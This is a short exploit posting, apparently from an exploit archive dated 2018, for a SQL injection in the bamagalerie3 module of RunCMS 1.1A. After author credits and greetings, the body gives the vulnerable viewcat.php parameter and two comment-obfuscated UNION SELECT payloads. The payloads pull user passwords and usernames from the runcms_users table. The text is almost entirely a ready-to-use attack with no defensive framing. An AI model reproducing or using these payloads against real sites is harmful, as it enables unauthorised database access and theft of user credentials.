RunCMS Module bamagalerie3 Remote SQL Injection Vulnerability

=============================================================
RunCMS Module bamagalerie3 Remote SQL Injection Vulnerability
=============================================================



[~] RUNCMS 1.1A : bamagalerie3 Module Remote SQL Injection's (cid)
[~]
[~] Script Page : http://runcms.org/
[~] ----------------------------------------------------------
[~]
[~] AUTHOR : DreamTurk
[~] Exploit coded and founded by DreamTurk :)
[~]
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:[email protected]_King :)
[~]
[~]
[~]
[~]| [email protected]_King |  X-c0d3r |
[~]
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] modules/bamagalerie3/viewcat.php?id=31&cid=Sql
[~]
[~] Sql 1 :
[~] -99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
[~] Sql 2 :
[~] -99999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*



#  0day.today [2018-03-19]  #